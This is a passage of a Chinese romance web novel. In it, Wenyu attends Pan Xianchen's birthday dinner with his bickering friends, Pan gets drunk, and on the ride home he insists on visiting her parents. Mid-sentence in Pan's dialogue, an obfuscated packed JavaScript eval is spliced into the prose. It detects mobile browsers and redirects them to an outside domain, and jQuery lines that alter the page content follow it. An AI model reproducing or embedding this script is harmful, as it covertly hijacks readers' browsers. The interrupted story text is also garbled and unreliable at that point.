他们齐齐在椅子上坐下。又过了两三分钟,宁铠带着胡晶晶来了。 文钰第一次见胡晶晶,打量的视线在她身上停留。胡晶晶抱着手板着脸皱着眉进来,和身边的宁铠距离一尺远。宁铠一边和文钰打招呼,一边小心翼翼地偷眼瞧胡晶晶。 潘羡臣笑问:“宁铠又惹你了?” 胡晶晶冷哼一声:“他怎么会惹我呢?是我多管闲事,干涉他的自由了。” 宁铠忙说:“你没有多管闲事,我也没有自由。” 胡晶晶翻了个白眼给宁铠看:“是吗?刚刚出门你可不是这么说的。你不是要翻身农奴把歌唱吗?你唱啊。” 宁铠:“我不会唱。更不会翻身。” “得了吧。两面派。” “我是你忠实的仆人,行吧?” 两人吵着嘴坐下,胡晶晶看到文钰,换上一副笑脸,和她打招呼。文钰笑笑,对胡晶晶自我介绍了一下。宁铠在旁边插嘴,对文钰说:“你别怕,我俩就这样。床头吵架床尾和的。” “谁和你床尾和了?” 胡晶晶阴阳怪气地说完,就拉着文钰细数宁铠的十大罪状。今天的罪状是:宁铠出门的时候穿得太随便,胡晶晶让他换一套正式一点的,宁铠偷懒,胡晶晶讲理,宁铠耍赖,胡晶晶发怒,宁铠要自由,胡晶晶彻底翻脸。 “还穿衣自由呢,也不看看今天什么日子。”胡晶晶总结道。 宁铠嬉皮笑脸地说:“什么日子啊?” 潘羡臣说:“不好意思,是我的生日。”其实他的生日没什么特别的,以前也和宁铠一起过,不吃蛋糕不吹蜡烛不送礼物,吃顿饭喝点酒插科打诨就过去了。但今天不同——今天他身边多了一个女人。 文钰说:“祝你生日快乐!潘羡臣。” 她从包里掏出一个精致的礼盒,递给潘羡臣。 “哟!还有礼物!祝你生日快乐!潘羡臣!”宁铠模仿文钰的语气说。 潘羡臣盯他一眼。 胡晶晶很兴奋:“快打开看看是什么。” 潘羡臣看了看文钰,文钰对他点点头。于是潘羡臣就当着众人的面拆开了礼盒,黑丝绒包裹着一支昂贵的钢笔。 文钰说:“你办公室里放了很多中性笔,都是单位发的。那些笔质量不好,老是断墨。我就想送你钢笔应该很实用。选的时候对比了好几支,这支手感最好,写字不会累。” “谢谢。”潘羡臣笑着把礼盒盖好,小心地放在一边。 “哇!潘羡臣,好实用哦!”宁铠怪叫。 “哇!潘羡臣,好用心哦!”胡晶晶也怪叫。 “嗯。”潘羡臣满脸都是笑。 文钰:“……” “我的礼物就没这么实用这么用心了。”宁铠手一摊,拿出手机,说,“我用钱打发你吧。” 叮咚——潘羡臣收到了宁铠的转账。宁铠收回手机,说:“我和胡晶晶一起的。祝你生日快乐!潘羡臣。” 24. 第 24 章 肉麻话说完以后,宁铠就让服务员上菜了。为了潘羡臣的生日,宁铠今天特意把他爸酒库里存了多年的陈酿拿出来,胡晶晶接过看了眼年份,惊呼:“哇!爸爸知道的话,不会打断你的狗腿吧?” “为了哥们儿,少一条腿没事的!” 胡晶晶不知想到什么,开始冷笑:“呵,少一条腿没事,少了自由就不行。” “……这茬儿不是过去了吗?” 文钰看他们斗嘴觉得好笑。潘羡臣给她夹肉,说:“胡晶晶有意思吧?比脱口秀演员还会callback。” 文钰点评:“你们都挺有意思的。” 潘羡臣说:“我也?” “嗯。看得出来你们关系很好。”文钰给潘羡臣倒了一杯酒,说,“大寿星,喝一杯吧。感情深,一口闷!” “我不喝。” 宁铠暂时和胡晶晶休战,瞪着潘羡臣说:“我腿都要断了,你不喝?” 潘羡臣解释:“我开车了。” “这话说的,谁走路来似的。”宁铠不管,自己举杯,也把杯子塞到潘羡臣手里,“喝!不醉不归!” “我一会儿要送文钰回去。”潘羡臣把杯子放下。 文钰看他:“不用不用,我打车就行。你喝吧,今天这么高兴。” 潘羡臣笑着看回去:“又想打车了?这么高兴的日子也不让我送你吗?文钰,现在我真的难得见你一回。我们都多长时间没独处了?” 文钰:“……” 宁铠:“你俩需不需要我和胡晶晶回避一下啊?” 文钰说:“不用回避。”然后又转回头对着潘羡臣:“你喝吧,到时候叫代驾,我跟你车走。” 于是,潘羡臣就被宁铠胡晶晶一对奸夫贼妇猛灌酒。但是潘羡臣酒量好,当宁铠胡晶晶开始醉酒互喷时,潘羡臣依旧面色如常。他目不转睛地盯着文钰看手机,问她:“你在看什么?” 文钰指指手机站起来,说:“我去接个电话。” 她七拐八绕,想找个安静的地方。但今天这里生意很好,几乎每个雅间都有客人,她又往回走,走着走着,就走到了大门外。唰唰唰,风里的竹叶摇曳着,文钰踏上了小木桥,在竹叶的掩映下接温于的电话。 “下周六我爸妈去山里买只土鸡,家里烧饭,我们一起吃一顿。” “你们吃吧,我就不去了。” 温于沉默了片刻,又说:“前两天的事是我不好,我真不知道你生病了。你现在病好了吗?” 文钰面无表情地站着。她发高烧是温于亲戚给的退烧药,是热心村民送她去的镇上。她离开宾馆后给温于发了微信说了一声,温于不知是太忙还是不高兴她这样走掉,一直没回复。这两天她躺在床上养病,温于一句话都没过问。文钰不是在埋怨他,毕竟她对温于也关怀不到哪儿去。 她只是觉得温于假惺惺,明明都是将就,何苦演一出迟到的关心呢? 文钰不想陪他继续生不生病的话题,重复道:“你们自己吃,我真的不去吃了。” 温于说:“我爸妈怪我没照顾好你,请你来家里吃饭,也是他们的意思。他们希望我们借此机会能把话说开,我疏忽了,我认,请你吃饭,就当赔罪,可以吗?” 文钰没说话,心底冒上来一股烦闷。她不想去。她说得还不够清楚吗?为什么硬要逼她呢? “周六我要陪我妈吃饭,”文钰搬出家长,“这几天我都住在别墅里。” 温于又沉默了一阵,后来才说:“我知道这几天你不想见到我,你不用搬去别墅住,房子是你的,该出去的是我。这几天我会回我爸妈家住,你回去住吧。” 电话到这里就结束了。文钰扭身,忽地被桥下的人吓得一激灵。 潘羡臣双手插兜站在那里,因为喝了酒,他的眸光在夜色中亮得惊人。他定定地望了文钰一会儿,唇角微微上扬:“你怎么跟做贼似的?背着我在干什么?” 文钰冷汗都要下来了,还没张口说什么,潘羡臣又转身了。文钰看着潘羡臣步步远走的背影,总感觉他和平时不太一样。文钰跟着他走过去,潘羡臣沿着石砖小路,不疾不徐地走出了竹篱笆。 竹篱笆外是交错的窄路,路口四棵树。潘羡臣挑挑选选,最后站到了最高的一棵树下。文钰莫名其妙地跟在他后面,搞不懂他要做什么。很快,她看见潘羡臣伸手去解裤腰带—— “哎——”文钰眼疾手快地拦住他。 潘羡臣低头一看,文钰的双手按在他的手上,他的手按在他的皮带上。片刻,他抬头,指控道:“你摸我。” 文钰:“……” “大马路上的,你别脱裤子呀。”文钰急了。 “不脱裤子你怎么摸我啊?”潘羡臣说。 文钰:“……” “我没想摸你。”文钰一阵脸热。尽管知道此刻的潘羡臣多半是醉得不轻,但她手底下的触感好真实。 “怎么不想呢?我都是这么想你的。你怎么不想呢?” “……” “你摸吧,我允许你摸我。” “……” 天呐!谁来救救她。 文钰费了九牛二虎之力把潘羡臣说服,他终于同意要讲文明树新风,不在树下撒尿。接着文钰又使出吃奶的劲儿把死沉死沉的潘羡臣拽回店里。刚到大门口,宁铠和胡晶晶也走出来了。 宁铠喝得更是烂醉,走路七扭八扭,短短两步路,差点没把自己拧成麻花。还好胡晶晶没醉,扶着宁铠没让他摔倒。 醒着俩,醉了俩。2比2,那就各自顾各自吧。 胡晶晶说:“弄碗醒酒汤吧!” 前台的人马上应:“好的老板娘,后厨说已经在煮了。你们稍等一下啊。” 文钰扶着潘羡臣等醒酒汤,胡晶晶扶着宁铠走啊走,走到了收银台旁的水族箱前,猛地把宁铠的脑袋按进去,嘴里喊着:“喝醒酒汤咯!喝醒酒汤咯!” 文钰:“……” 好吧。众人皆醉我独醒。1比3。 店里的人都来帮忙,先把宁铠和胡晶晶塞进车里,然后陪着他们回家。文钰叫了代驾,扶着潘羡臣坐进车后排。 潘羡臣喝了一碗醒酒汤,现在安静地靠坐着。文钰观察着他的样子,好像比刚刚好一点儿了。但他仍是皱着眉,嘴唇紧抿着。文钰忍不住把手伸过去,按了按他的眉头,轻声说:“别皱眉呀。” 他转过脸来,眉毛真的不皱了,笑笑地看着文钰。 文钰的心变得好软。 “你清醒了没有?”她又轻声问他。 他点点头说:“清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277585|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒了。” “真的吗?那这是几?”文钰举着手指比了个数字二。 潘羡臣也比了个数字二给她看,说:“耶。” 嗯。清醒了点,但不多。 上了主干道,文钰拿着一张小小便签纸递给代驾,说:“师傅,先去这个地址。”便签纸上的地址是店里的人写的,文钰意外地发现这个地址不在别墅区,而是市中心某一处高档小区。 代驾接过辨认了一下,说:“好的。” 潘羡臣这时候插进来说:“先去澎石路。”他看着文钰交代:“先送你回家。”澎石路就是那两片别墅群中间夹着的路。 “先送你。”文钰劝他,“不然一会儿你一个人怎么上楼。” 潘羡臣摇头,然后去拍驾驶位的椅背,说:“听我的,去澎石路。我给你加钱。” 文钰:“……” 代驾:“……” 代驾掉了个头,准备先去澎石路。不是因为他贪财,而是他不开去澎石路的话,潘羡臣就不让他开了。文钰没办法,只好先去别墅区,潘羡臣父母应该住在那里,到时候看看能不能把他送回父母家。 没过多久,澎石路到了。 文钰从正副驾驶位中间探过身去,指着潘羡臣家的别墅区入口对代驾说:“师傅,先去那边。” 潘羡臣也从正副驾驶位中间钻过去,指着相邻的别墅区说:“不对,先去旁边那个。” 代驾:“……” 文钰侧头看看潘羡臣,潘羡臣一本正经地监视着前方路况。他肩膀好宽,还偏要挤进来。文钰撞了他一下,想把他撞出去,但他同时也好结实,文钰不仅没把他撞出去,还觉得自己肩膀好痛。 文钰:“……” 他们两个就这么挨挨挤挤地贴在一起。 从后视镜里观看全程的代驾:“……” 没事的,你们不需要考虑代驾的感受。没事的。 代驾一脸麻木地把车开进了别墅区里,停在了文钰家的别墅门前。潘羡臣率先下车,文钰跟在他后面。潘羡臣绕到车后,开了后备箱。他从后备箱里取出水果、饮料、酒和香烟,对文钰说:“走,去你家。” 文钰:? 文钰忙把潘羡臣拦住,震惊地看着他大箱小盒地提着,问:“这是什么?” 潘羡臣笑:“不认得吗?这是我准备拜访你父母的礼物。第一次上门,总不好空手吧?” 文钰:“……” 她认真地看了看潘羡臣的脸,觉得自己人麻了:“都过去那么久了,你还没醒酒吗?” 潘羡臣说:“我没有醉。” “那你把东西放回去。”文钰板起脸。 “……”潘羡臣拎着没动,他和文钰对视着,良久,他问:“我不能去你家拜访你父母吗?” 文钰觉得心好累,说:“……不能。” “为什么?” “没有为什么,你现在喝醉了,一点也不清醒。” “那等我清醒了呢?可以去吗?” “……” 文钰不知道怎么回答。潘羡臣的脸色好认真,那样郑重的目光落在她脸上,她不忍去看。 他们在寂静下沉默。 过了好久,潘羡臣说:“文钰,你有把我当成你的男朋友吗?”